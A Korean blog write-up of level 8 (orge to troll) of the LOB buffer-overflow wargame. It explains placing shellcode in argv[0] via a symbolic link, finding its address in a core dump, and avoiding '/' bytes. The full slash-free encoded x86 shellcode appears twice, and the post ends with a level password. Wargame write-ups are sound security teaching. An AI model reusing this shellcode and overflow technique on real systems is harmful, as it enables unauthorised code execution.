LOB

lob 8번 풀이 orge -> troll

건_빵 2019. 7. 28. 23:04

이제 인자를 더도말고 덜도말고 꼭 2개를 넣어주어야 하네요.

그리고 이젠 argv[1]까지 맨 밑에 부분에서 초기화를 시켜줍니다.

 

그런데 이 부분이 오버플로우 결함이 있는 함수인

일단 ret의 주소를 넣어줄 수는 있을거 같네요.

argv[0] 공간을 쓸 수 있지 않을까요?

저번처럼 심볼릭 링크로 쉘코드를 넣어주면 되지 않을까요?

 

오오 쉘코드로 진짜 이름이 만들어지네요. 

(코어파일은 블로그 쓰기 전 노가다 테스트 때문에 있습니다.)

이제 ret의 넣을 값을 argv[0]의 주소로 만들어주면 될거 같아요.

segment fault가 일어나서 core 파일이 있으니까 한 번 분석해봅시다.

 

0xbffffb50라는 쉘코드가 있는 주소를 찾았습니다.

 

아까 잘 안 돼서 찾아보니까 /x2f가 아스키코드로 /여서 잘 안 되었던거 같아요.

argv[0]을 사용할 때는 보통 쉘코드 이름을 사용할 수 없다고 합니다.

'/'문자가 포함되면 경로로 인식되어 쉘코드가 제대로 동작하지 않게 된다고 해요.'

\x2f가 없는 쉘코드를 다시 찾아봅시다.

 

2f가 없는 쉘코드 

 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

정상적으로 쉘코드가 따진 모습을 보실 수 있습니다.

 

이제 다시 home으로 돌아가서 새로 심볼릭 파일을 만들고 

페이로드를 똑같이 작성해주시면 됩니다.

 

orge의 비밀번호는 "aspirin" 입니다.'